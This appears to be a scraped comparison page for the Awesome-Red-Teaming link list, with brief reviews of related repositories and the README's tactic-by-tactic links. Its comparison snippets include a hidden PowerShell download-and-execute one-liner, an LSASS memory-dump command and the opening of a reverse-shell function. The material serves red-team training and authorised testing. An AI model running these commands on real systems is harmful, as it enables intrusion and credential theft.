Top Related Projects
This repository contains cutting-edge open-source security tools (OST) for a red teamer and threat hunter.
Wiki to collect Red Team infrastructure hardening resources
Small and highly portable detection tests based on MITRE's ATT&CK.
Red Teaming Tactics and Techniques
Red Team Tips as posted by @vysecurity on Twitter
A collection of Red Team focused tools, scripts, and notes
Quick Overview
Awesome-Red-Teaming is a curated list of resources for Red Team / Penetration Testing practitioners. It provides a comprehensive collection of tools, techniques, and methodologies used in offensive security assessments. The repository serves as a valuable reference for both beginners and experienced professionals in the field of cybersecurity.
Pros
- Extensive collection of resources covering various aspects of red teaming
- Regularly updated with new tools and techniques
- Well-organized structure, making it easy to find specific information
- Includes both free and commercial tools, providing options for different budgets
Cons
- May be overwhelming for beginners due to the vast amount of information
- Some links may become outdated over time
- Lacks detailed explanations or tutorials for using the listed tools
- Does not provide a standardized methodology for conducting red team assessments
Note: As this is not a code library, the code example and quick start sections have been omitted.
Competitor Comparisons
This repository contains cutting-edge open-source security tools (OST) for a red teamer and threat hunter.
Pros of Red-Teaming-Toolkit
- More structured organization with clear categories
- Includes specific tools and commands for various techniques
- Regularly updated with recent contributions
Cons of Red-Teaming-Toolkit
- Less comprehensive in terms of overall resources
- Focuses primarily on tools rather than methodologies
- May be overwhelming for beginners due to technical details
Code Comparison
Red-Teaming-Toolkit includes specific commands and scripts, while Awesome-Red-Teaming primarily lists resources. Here's an example from Red-Teaming-Toolkit:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
Awesome-Red-Teaming doesn't typically include code snippets, focusing instead on curating links to external resources.
Summary
Red-Teaming-Toolkit offers a more hands-on approach with specific tools and commands, making it useful for practitioners looking for immediate implementation. Awesome-Red-Teaming provides a broader overview of red teaming concepts and resources, making it better suited for those seeking a comprehensive understanding of the field. Both repositories complement each other, with Red-Teaming-Toolkit being more practical and Awesome-Red-Teaming offering a wider range of educational materials.
Wiki to collect Red Team infrastructure hardening resources
Pros of Red-Team-Infrastructure-Wiki
- More focused on infrastructure setup and management
- Provides detailed guides and walkthroughs for specific tasks
- Includes practical examples and configurations
Cons of Red-Team-Infrastructure-Wiki
- Less comprehensive in covering overall red teaming topics
- Fewer external resources and links compared to Awesome-Red-Teaming
- May require more technical expertise to implement some concepts
Code Comparison
While both repositories primarily consist of documentation and resources rather than code, Red-Team-Infrastructure-Wiki does include some configuration examples:
Red-Team-Infrastructure-Wiki:
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
Awesome-Red-Teaming doesn't typically include code snippets, focusing instead on curating links and resources.
Summary
Red-Team-Infrastructure-Wiki offers in-depth guidance on setting up and managing red team infrastructure, with practical examples and configurations. It's particularly useful for those focused on the technical aspects of infrastructure. Awesome-Red-Teaming, on the other hand, provides a broader overview of red teaming topics and resources, making it a valuable starting point for exploring the field. The choice between the two depends on whether you need specific infrastructure guidance or a comprehensive resource collection.
Small and highly portable detection tests based on MITRE's ATT&CK.
Pros of atomic-red-team
- Provides a library of tests mapped to MITRE ATT&CK tactics and techniques
- Offers a standardized format for describing and sharing atomic tests
- Includes a command-line tool for executing tests and generating reports
Cons of atomic-red-team
- Focuses primarily on Windows environments, with limited coverage for other platforms
- Requires more setup and configuration compared to a curated list of resources
- May not cover as wide a range of red teaming topics as a comprehensive resource collection
Code Comparison
Atomic-red-team example (YAML format):
attack_technique: T1003.001
display_name: OS Credential Dumping - LSASS Memory
atomic_tests:
- name: Dump LSASS.exe Memory using ProcDump
description: |
Dump LSASS.exe memory using ProcDump
supported_platforms:
- windows
executor:
command: |
procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp
Awesome-Red-Teaming doesn't contain code examples, as it's a curated list of resources.
Summary
Atomic-red-team provides a structured approach to red team testing with executable tests, while Awesome-Red-Teaming offers a broader collection of resources for various red teaming activities. The choice between them depends on whether you need specific, executable tests or a comprehensive reference for red teaming techniques and tools.
Red Teaming Tactics and Techniques
Pros of RedTeaming-Tactics-and-Techniques
- More in-depth technical content with detailed explanations
- Organized by specific tactics and techniques
- Includes practical examples and code snippets
Cons of RedTeaming-Tactics-and-Techniques
- Less frequently updated compared to Awesome-Red-Teaming
- Narrower focus on specific tactics rather than a broad overview
- Fewer external resources and links
Code Comparison
While Awesome-Red-Teaming primarily provides links to external resources, RedTeaming-Tactics-and-Techniques includes code snippets. Here's an example from RedTeaming-Tactics-and-Techniques:
$processName = "notepad"
$targetProcess = Get-Process -Name $processName
$targetProcess | Select-Object ProcessName, Id, Path
This code demonstrates how to retrieve information about a specific process, which could be useful in red teaming scenarios.
Awesome-Red-Teaming doesn't typically include code snippets, focusing instead on curating links to external resources and tools.
Both repositories serve as valuable resources for red teaming professionals, with Awesome-Red-Teaming offering a broader overview and extensive link collection, while RedTeaming-Tactics-and-Techniques provides more detailed technical content and practical examples.
Red Team Tips as posted by @vysecurity on Twitter
Pros of RedTips
- More concise and focused content, making it easier to quickly find specific red teaming tips
- Regular updates with new tips and techniques
- Includes a Twitter bot (@RedTips_) for easy access to daily red teaming tips
Cons of RedTips
- Less comprehensive coverage of red teaming topics compared to Awesome-Red-Teaming
- Fewer categorized resources and tools
- Limited explanations for each tip, which may require additional research for beginners
Code Comparison
While both repositories primarily focus on curating information rather than providing code, RedTips occasionally includes short code snippets or commands. For example:
RedTips:
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" | Select-Object Name, SID
Awesome-Red-Teaming typically doesn't include code snippets directly but links to external resources containing code examples.
Both repositories serve as valuable resources for red teamers, with Awesome-Red-Teaming offering a more comprehensive collection of tools and techniques, while RedTips provides quick, actionable tips for daily use. The choice between the two depends on the user's specific needs and level of expertise in red teaming.
A collection of Red Team focused tools, scripts, and notes
Pros of red-team-scripts
- Focused collection of practical scripts for red team operations
- Regularly updated with new tools and techniques
- Includes detailed documentation and usage instructions for each script
Cons of red-team-scripts
- Smaller scope compared to the comprehensive resource list in Awesome-Red-Teaming
- Limited to specific scripting languages and tools
- May require more technical expertise to implement effectively
Code Comparison
red-team-scripts:
function Invoke-PowerShellTcp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="bind")]
[String]
$IPAddress,
Awesome-Red-Teaming: (No direct code examples provided, as it's primarily a curated list of resources)
Summary
red-team-scripts offers a focused collection of practical scripts for red team operations, with regular updates and detailed documentation. However, it has a narrower scope compared to Awesome-Red-Teaming, which provides a comprehensive list of resources covering various aspects of red teaming. While red-team-scripts is more hands-on with ready-to-use scripts, Awesome-Red-Teaming serves as a broader knowledge base for red team professionals. The choice between the two depends on whether you need specific tools or a wider range of resources for red teaming activities.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
This List is no longer updated.
Awesome Red Teaming
List of Awesome Red Team / Red Teaming Resources
This list is for anyone wishing to learn about Red Teaming but do not have a starting point.
Anyway, this is a living resources and will update regularly with latest Adversarial Tactics and Techniques based on Mitre ATT&CK
You can help by sending Pull Requests to add more information.
Table of Contents
â Initial Access
-
USB Drop Attacks: The Danger of âLost And Foundâ Thumb Drives
-
Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter - Defcon 24
-
Cobalt Strike Blog - What's the go-to phishing technique or exploit?
-
EMAIL RECONNAISSANCE AND PHISHING TEMPLATE GENERATION MADE SIMPLE
-
POWERSHELL EMPIRE STAGERS 1: PHISHING WITH AN OFFICE MACRO AND EVADING AVS
-
Executing Metasploit & Empire Payloads from MS Office Document Properties (part 1 of 2)
-
Executing Metasploit & Empire Payloads from MS Office Document Properties (part 2 of 2)
-
Using Social Engineering Tactics For Big Data Espionage - RSA Conference Europe 2012
â Execution
-
Windows oneliners to download remote payload and execute arbitrary code
-
Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts
â Persistence
- A View of Persistence
- hiding registry keys with psreflect
- Persistence using RunOnceEx â Hidden from Autoruns.exe
- Persistence using GlobalFlags in Image File Execution Options â Hidden from Autoruns.exe
- Putting data in Alternate data streams and how to execute it â part 2
- WMI Persistence with Cobalt Strike
- Leveraging INF-SCT Fetch & Execute Techniques For Bypass, Evasion, & Persistence
- Leveraging INF-SCT Fetch & Execute Techniques For Bypass, Evasion, & Persistence (Part 2)
- Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction
â Privilege Escalation
User Account Control Bypass
- First entry: Welcome and fileless UAC bypass,
- Exploiting Environment Variables in Scheduled Tasks for UAC Bypass,
- Reading Your Way Around UAC in 3 parts: Part 1. Part 2. Part 3.
- Bypassing UAC using App Paths,
- "Fileless" UAC Bypass using sdclt.exe,
- UAC Bypass or story about three escalations,
- "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking,
- Bypassing UAC on Windows 10 using Disk Cleanup,
- Using IARPUninstallStringLauncher COM interface to bypass UAC,
- Fileless UAC Bypass using sdclt
- Eventvwr File-less UAC Bypass CNA
- Windows 7 UAC whitelist
Escalation
â Defense Evasion
- Window 10 Device Guard Bypass
- App Locker ByPass List
- Window Signed Binary
- Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files)
- Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations
- Empire without powershell
- Powershell without Powershell to bypass app whitelist
- MS Signed mimikatz in just 3 steps
- Hiding your process from sysinternals
- code signing certificate cloning attacks and defenses
- userland api monitoring and code injection detection
- In memory evasion
- Bypassing AMSI via COM Server Hijacking
- process doppelganging
- Week of Evading Microsoft ATA - Announcement and Day 1 to Day 5
- VEIL-EVASION AES ENCRYPTED HTTPKEY REQUEST: SAND-BOX EVASION
- Putting data in Alternate data streams and how to execute it
- AppLocker â Case study â How insecure is it really? â Part 1
- AppLocker â Case study â How insecure is it really? â Part 2
- Harden Windows with AppLocker â based on Case study part 2
- Harden Windows with AppLocker â based on Case study part 2
- Office 365 Safe links bypass
- Windows Defender Attack Surface Reduction Rules bypass
- Bypassing Device guard UMCI using CHM â CVE-2017-8625
- Bypassing Application Whitelisting with BGInfo
- Cloning and Hosting Evil Captive Portals using a Wifi PineApple
- https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
- Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts
- mavinject.exe Functionality Deconstructed
â Credential Access
- Windows Access Tokens and Alternate credentials
- Bringing the hashes home with reGeorg & Empire
- Intercepting passwords with Empire and winning
- Local Administrator Password Solution (LAPS) Part 1
- Local Administrator Password Solution (LAPS) Part 2
- USING A SCF FILE TO GATHER HASHES
- Remote Hash Extraction On Demand Via Host Security Descriptor Modification
- Offensive Encrypted Data Storage
- Practical guide to NTLM Relaying
- Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync
- Dumping Domain Password Hashes
â Discovery
- Red Team Operating in a Modern Environment
- My First Go with BloodHound
- Introducing BloodHound
- A Red Teamerâs Guide to GPOs and OUs
- Automated Derivative Administrator Search
- A Pentesterâs Guide to Group Scoping
- Local Group Enumeration
- The PowerView PowerUsage Series #1 - Mass User Profile Enumeration
- The PowerView PowerUsage Series #2 â Mapping Computer Shortnames With the Global Catalog
- The PowerView PowerUsage Series #3 â Enumerating GPO edit rights in a foreign domain
- The PowerView PowerUsage Series #4 â Finding cross-trust ACEs
- Aggressor PowerView
- Lay of the Land with BloodHound
- Scanning for Active Directory Privileges & Privileged Accounts
- Microsoft LAPS Security & Active Directory LAPS Configuration Recon
- Trust Direction: An Enabler for Active Directory Enumeration and Trust Exploitation
- SPN Discovery
â Lateral Movement
- A Citrix Story
- Jumping Network Segregation with RDP
- Pass hash pass ticket no pain
- Abusing DNSAdmins privilege for escalation in Active Directory
- Using SQL Server for attacking a Forest Trust
- Extending BloodHound for Red Teamers
- OPSEC Considerations for beacon commands
- My First Go with BloodHound
- Kerberos Party Tricks: Weaponizing Kerberos Protocol Flaws
- Lateral movement using excel application and dcom
- Lay of the Land with BloodHound
- The Most Dangerous User Right You (Probably) Have Never Heard Of
- Agentless Post Exploitation
- A Guide to Attacking Domain Trusts
- Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy
- Targeted Kerberoasting
- Kerberoasting Without Mimikatz
- Abusing GPO Permissions
- Abusing Active Directory Permissions with PowerView
- Roasting AS-REPs
- Getting the goods with CrackMapExec: Part 1
- Getting the goods with CrackMapExec: Part 2
- DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction
- Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement
- a guide to attacking domain trusts
- Outlook Home Page â Another Ruler Vector
- Outlook Forms and Shells
- Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32
- LethalHTA - A new lateral movement technique using DCOM and HTA
- Abusing DCOM For Yet Another Lateral Movement Technique
â Collection
-
Accessing clipboard from the lock screen in Windows 10 Part 1
-
Accessing clipboard from the lock screen in Windows 10 Part 2
â Exfiltration
- DNS Data exfiltrationâââWhat is this and How to use?
- DNS Tunnelling
- sg1: swiss army knife for data encryption, exfiltration & covert communication
- Data Exfiltration over DNS Request Covert Channel: DNSExfiltrator
- DET (extensible) Data Exfiltration Toolkit
- Data Exfiltration via Formula Injection Part1
â Command and Control
Domain Fronting
- Empre Domain Fronting
- Escape and Evasion Egressing Restricted Networks - Tom Steele and Chris Patten
- Finding Frontable Domain
- TOR Fronting â Utilising Hidden Services for Privacy
- Simple domain fronting PoC with GAE C2 server
- Domain Fronting Via Cloudfront Alternate Domains
- Finding Domain frontable Azure domains - thoth / Fionnbharr (@a_profligate)
- Google Groups: Blog post on finding 2000+ Azure domains using Censys
- Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike
- SSL Domain Fronting 101
- How I Identified 93k Domain-Frontable CloudFront Domains
- Validated CloudFront SSL Domains
- CloudFront Hijacking
- CloudFrunt GitHub Repo
Connection Proxy
- Redirecting Cobalt Strike DNS Beacons
- Apache2Mod Rewrite Setup
- Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite
- High-reputation Redirectors and Domain Fronting
- Cloud-based Redirectors for Distributed Hacking
- Combatting Incident Responders with Apache mod_rewrite
- Operating System Based Redirection with Apache mod_rewrite
- Invalid URI Redirection with Apache mod_rewrite
- Strengthen Your Phishing with Apache mod_rewrite and Mobile User Redirection
- mod_rewrite rule to evade vendor sandboxes
- Expire Phishing Links with Apache RewriteMap
- Serving random payloads with NGINX
- Mod_Rewrite Automatic Setup
- Hybrid Cobalt Strike Redirectors
- Expand Your Horizon Red Team â Modern SAAS C2
- RTOps: Automating Redirector Deployment With Ansible
Web Services
- C2 with Dropbox
- C2 with gmail
- C2 with twitter
- Office 365 for Cobalt Strike C2
- Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike
- A stealthy Python based Windows backdoor that uses Github as a C&C server
- External C2 (Third-Party Command and Control)
- Cobalt Strike over external C2 â beacon home in the most obscure ways
- External C2 for Cobalt Strike
- External C2 framework for Cobalt Strike
- External C2 framework - GitHub Repo
- Hiding in the Cloud: Cobalt Strike Beacon C2 using Amazon APIs
- Exploring Cobalt Strike's ExternalC2 framework
Application Layer Protocol
- C2 WebSocket
- C2 WMI
- C2 Website
- C2 Image
- C2 Javascript
- C2 WebInterface
- C2 with DNS
- C2 with https
- C2 with webdav
- Introducing MerlinâââA cross-platform post-exploitation HTTP/2 Command & Control Tool
- InternetExplorer.Application for C2
Infrastructure
- Automated Red Team Infrastructure Deployment with Terraform - Part 1
- Automated Red Team Infrastructure Deployment with Terraform - Part 2
- Red Team Infrastructure - AWS Encrypted EBS
- 6 RED TEAM INFRASTRUCTURE TIPS
- How to Build a C2 Infrastructure with Digital Ocean â Part 1
- Infrastructure for Ongoing Red Team Operations
- Attack Infrastructure Log Aggregation and Monitoring
- Randomized Malleable C2 Profiles Made Easy
- Migrating Your infrastructure
- ICMP C2
- Using WebDAV features as a covert channel
- Safe Red Team Infrastructure
- EGRESSING BLUECOAT WITH COBALTSTIKE & LET'S ENCRYPT
- Command and Control Using Active Directory
- A Vision for Distributed Red Team Operations
- Designing Effective Covert Red Team Attack Infrastructure
- Serving Random Payloads with Apache mod_rewrite
- Mail Servers Made Easy
- Securing your Empire C2 with Apache mod_rewrite
- Automating Gophish Releases With Ansible and Docker
- How to Write Malleable C2 Profiles for Cobalt Strike
- How to Make Communication Profiles for Empire
- A Brave New World: Malleable C2
- Malleable Command and Control
â Embedded and Peripheral Devices Hacking
- Gettting in with the Proxmark3 & ProxBrute
- Practical Guide to RFID Badge copying
- Contents of a Physical Pentester Backpack
- MagSpoof - credit card/magstripe spoofer
- Wireless Keyboard Sniffer
- RFID Hacking with The Proxmark 3
- Swiss Army Knife for RFID
- Exploring NFC Attack Surface
- Outsmarting smartcards
- Reverse engineering HID iClass Master keys
- Android Open Pwn Project (AOPP)
â Misc
- Red Tips of Vysec
- Cobalt Strike Tips for 2016 ccde red teams
- Models for Red Team Operations
- Planning a Red Team exercise
- Raphael Mudge - Dirty Red Team tricks
- introducing the adversary resilience methodology part 1
- introducing the adversary resilience methodology part 2
- Responsible red team
- Red Teaming for Pacific Rim CCDC 2017
- How I Prepared to Red Team at PRCCDC 2015
- Red Teaming for Pacific Rim CCDC 2016
- Responsible Red Teams
- Awesome-CobaltStrike
- RedTeaming from Zero to One Part-1 Part-2
â RedTeam Gadgets
Network Implants
Wifi Auditing
IoT
Software Defined Radio - SDR
Misc
- Key Grabber
- Magspoof
- Poison tap
- keysweeper
- USB Rubber Ducky
- Screen Crab
- O.MG Cable
- Keysy
- Dorothy for Okta SSO
â Ebooks
- Next Generation Red Teaming
- Targeted Cyber Attack
- Advanced Penetration Testing: Hacking the World's Most Secure Networks
- Social Engineers' Playbook Practical Pretexting
- The Hacker Playbook 3: Practical Guide To Penetration Testing
- How to Hack Like a PORNSTAR: A step by step process for breaking into a BANK
â Training ( Free )
- Tradecraft - a course on red team operations
- Advanced Threat Tactics Course & Notes
- FireEye - a whiteboard session on red team operations
Home Lab
- Building an Effective Active Directory Lab Environment for Testing
- Setting up DetectionLab
- vulnerable-AD - Script to make your home AD Lab vulnerable
â Certification
- CREST Certified Simulated Attack Specialist
- CREST Certified Simulated Attack Manager
- SEC564: Red Team Operations and Threat Emulation
- ELearn Security Penetration Testing eXtreme
- Certified Red Team Professional
- Certified Red Teaming Expert
- PentesterAcademy Certified Enterprise Security Specialist (PACES)
Top Related Projects
This repository contains cutting-edge open-source security tools (OST) for a red teamer and threat hunter.
Wiki to collect Red Team infrastructure hardening resources
Small and highly portable detection tests based on MITRE's ATT&CK.
Red Teaming Tactics and Techniques
Red Team Tips as posted by @vysecurity on Twitter
A collection of Red Team focused tools, scripts, and notes
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot